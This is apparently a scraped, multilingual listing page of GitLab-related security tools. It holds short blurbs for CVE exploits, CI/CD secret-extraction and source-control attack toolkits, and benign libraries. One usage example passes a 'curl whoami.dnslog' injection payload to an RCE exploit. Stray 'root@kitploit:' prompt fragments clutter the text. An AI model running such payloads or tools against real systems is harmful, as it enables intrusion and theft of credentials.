CVE-2021-22214

CVE-2021-22214 Gitlab CI Lint API 무단 SSRF 취약점 CVE-2021-22214 이 글과 도구는 기술 공유 목적으로만 사용되며, 불법적인 용도로 사용하는 것을 엄격히 금지합니다. 그로 인해 발생하는 모든 결과는 사용자가 책임져야 합니다. 사용법 도움말 root@kitploit: $ python3 gitlabssrf.py =============================================================== / | | | | | / / | | | | | | || | | | ...

cryptohackapp

cryptohackapp 시작하기 GitLab을 쉽게 시작할 수 있도록 다음 권장 단계를 알려드립니다. 이미 전문가이신가요? 이 README.md를 편집하여 자신의 것으로 만드세요. 쉽게 만들고 싶으신가요? 아래 템플릿을 사용하세요! 파일 추가하기 파일 생성 또는 업로드 명령줄을 사용하여 파일 추가 또는 다음 명령어로 기존 Git 저장소 푸시: root@kitploit: cd existingrepo git remote add origin https://gitlab.com/cryptoadvocate/cryptohackapp.gi...

nord-stream

Nord Stream Nord Stream は、 悪意のある パイプラインをデプロイすることで CI/CD 環境内に保存されたシークレットを抽出できるツールです。 現在、Azure DevOps、GitHub、GitLab をサポートしています。 詳細は以下のブログ記事をご覧ください: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks 目次 Nord Stream 目次 インストール 使用方法 共通引数 トークンの説明 YAML のビルド YAML ログの削除 コミットへの署名...

CVE-2021-22201

CVE-2021-22201 CVE-2021–22201 Gitlab에서의 임의 파일 읽기 13.9.0 = Gitlab 13.9.5 사용법 python CVE-2021-22201.py url username password 참조 CVE-2021–22201: Arbitrary file read on Gitlab | by Son Nguy3n | Jun, 2021 | tradahacking Project import/export API | GitLab 1132378 Arbitrary file read during project impo...

gitrecon

gitrecon GithubまたはGitlabのプロファイルから情報を取得し、コミットに漏洩したユーザーのメールアドレスを見つけるOSINTツール。 📚 仕組み GitHubは、GitHubアカウントに関連付けられたメールアドレスを使用して、コミットやその他のアクティビティをGitHubプロファイルにリンクします。ユーザーが公開リポジトリにコミットすると、そのメールアドレスは通常コミットに公開され、知っていれば誰でもアクセスできるようになります。...

CVE-2021-4191-EXPLOIT

CVE-2021-4191 - GitLab ユーザー列挙 GitLabは、Gitリポジトリマネージャーを提供し、継続的インテグレーション、課題追跡、コードレビューなどの機能を統合した、広く利用されているWebベースのDevOpsライフサイクルツールです。GraphQL APIは、プログラム的にGitLabと対話し、さまざまな操作を実行できる強力なインターフェースです。 GitLab CVE-2021-4191脆弱性は、特定のバージョンのGitLabにおけるGraphQL...

declarative-policy

DeclarativePolicy: 宣言的な認可ライブラリ このライブラリは、認可ポリシーを記述するためのDSLを提供します。 ロジックと権限を分離するために使用でき、GitLab.com で本番環境において大規模に使用されています。 このライブラリの原作者は Jeanine Adkisson であり、著作権は GitLab が保持しています。 インストール 以下の行をアプリケーションの Gemfile に追加します: root@kitploit: gem 'declarativepolicy' その後、以下を実行します: root@kitploit: $ bundle install...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE RCE 익스플로잇 - 다양한 리버스 쉘 지원. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585 학습 및 연습 목적으로 Sam Redmond and Tam Lai Yin의 버전을 수정한 것입니다. 사용 방법 모든 것이 그래야 하듯 Python3로 작성되었습니다. 의존성:...

libssh-mirror

root@kitploit: .org The SSH library なぜ？ なぜって？ : 私は、既存の公開SSH実装が気に入らなかったため、独自のSSHプロトコル実装の開発を始めました。どれも強力なライブラリとして関数をインポートして使用することを許可しておらず、そこで自由かつオープンソースの世界には存在しなかった、ライブラリベースのSSH実装に取り組みました。 どうやって/誰が？...

SCMKit

SCMKit Description 소 스 코 드 관 리 공격 툴킷 - SCMKit는 SCM 시스템을 공격하는 데 사용할 수 있는 툴킷입니다. SCMKit를 사용하면 사용자는 사용할 SCM 시스템과 공격 모듈을 지정하고, 해당 SCM 시스템에 대한 유효한 자격 증명사용자 이름/비밀번호 또는 API 키을 지정할 수 있습니다. 현재 SCMKit가 지원하는 SCM 시스템은 GitHub Enterprise, GitLab Enterprise 및 Bitbucket Server입니다. 지원되는 공격 모듈에는 정찰, 권한 상승 및 지속성이...

CVE-2021-22205

CVE-2021-22205 Versiones afectadas: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Uso root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Obtener csrf-token: Obtenga el csrf-token a través de /users/signin y luego use el PoC CVE-2021-22205 anterior para construir...

gitlab-rce-demo

GitLab Oj RCE デモ このリポジトリには、当社の調査で説明した GitLab notebook-diff RCE チェーンを再現する自己完結型デモが含まれています。フレッシュな GitLab 18.11.3 コンテナを起動し、パブリックな HTTP インターフェースを通じて一般ユーザーを作成し、そのインスタンスに対して PoC を実行します。 技術詳細: Going depthfirst: Achieving GitLab RCE via Two Ruby Memory Corruption Vulnerabilities 要件 x86-64 amd64 上の Linux...

trufflehog

TruffleHog Find leaked credentials. 🔎 Now Scanning ...and more To learn more about TruffleHog and its features and capabilities, visit our product page. 🌐 TruffleHog Enterprise Are you interested in continuously monitoring Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint and more for...

Gitlab-CVE-2026-19478

CVE-2026-19478 — GitLab GraphQL @glintroduced ディレクティブインジェクション GitLab CE/EE の GraphQL ディレクティブを介した未認証リモートコードインジェクション — 単一の HTTP リクエストで任意の公開プロジェクトを削除 CVE-2026-19478 を再現する実践型ペネトレーションテストラボです。これは GitLab の GraphQL API における重大な（CVSS 9.4）脆弱性です。@glintroduced ディレクティブにより、認証されていない攻撃者がサーバーサイドオブジェクト上で任意の Ruby...

skiptracer

계정이 다음으로 이전됨: https://gitlab.com/illwill 현재 더 이상 지원되지 않습니다. Python 3 마이그레이션 진행 중입니다. 코드와 소스에 많은 업그레이드가 필요하므로 아직 이슈를 보고하지 말아 주세요. 프로젝트가 다음으로 이전됨: https://gitlab.com/illwill/skiptracer...

Mnemosyne

Mnemosyne 나의 개인 정보보안 메모 재미있는 사실 이 프로젝트의 이름은 그리스의 기억의 여신 Mnemosyne 에서 유래했습니다. 더 나아가, 우리 이야기와 관련하여 흥미로운 점은 이것이 memory라는 단어의 기원이라는 것입니다. 사용법 Mnemosyne는 제 웹사이트의 동일한 이름의 서브도메인에서 공개적으로 이용 가능합니다. 사이트는 GitLab Pages로 호스팅됩니다. 이 링크를 통해 접속할 수 있습니다. 나만의 웹사이트 실행하기 웹사이트를 실행하려면 먼저 Hugo를 설치해야 합니다. 그런 다음, 제 저장소를...

CVE-2022-2992

CVE-2022-2992 GitlabでのGitHubインポートを介した認証済みリモートコマンド実行 GitLab CE/EEの全バージョン（11.10から15.1.6未満、15.2から15.2.4未満、15.3から15.3.2未満）に影響する脆弱性により、認証されたユーザーがGitHubインポートAPIエンドポイントを介してリモートコードを実行できます。...

CVE-2021-22205

취약점 영향 GitLab CE/EE 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약 제품 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 환경 root@kitploit: export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publish 443:443...

SafeForge

SafeForge – 앱이 신뢰로 구축되는 곳 SafeForge는 GitLab 기반의 오픈소스 모바일 앱 허브 로, 개발자들이 안전하고 AI가 검증하며 완전히 암호화된 생태계 에서 모바일 애플리케이션을 구축, 업로드, 공유 및 협업할 수 있도록 합니다. SafeForge에 제출된 모든 애플리케이션은 배포 전에 맬웨어, 스파이웨어, 숨겨진 백도어, 암호화폐 채굴기 및 기타 악성 또는 안전하지 않은 행위를 탐지하도록 설계된 AI 기반 보안 계층을 사용하여 분석됩니다. 이 플랫폼은 신뢰, 투명성, 검증 가능한 안전성 을 중심으로...

amavis

安装 如有可能，请尽可能使用系统自带的 amavis 软件包。 先决条件 软件依赖通过 Dist::Zilla 进行跟踪。其中一些涉及 非 perl 开发库；如果从 CPAN 获取，还需要 GCC 作为 构建依赖： libdb libidn2 libssl libzmq3 例如，在 Debian 13 上，可以通过以下命令安装它们： root@kitploit: apt-get install build-essential libdist-zilla-perl libdb-dev libidn2-dev libssl-dev libzmq3-dev 获取软件 选择一个版本，获取...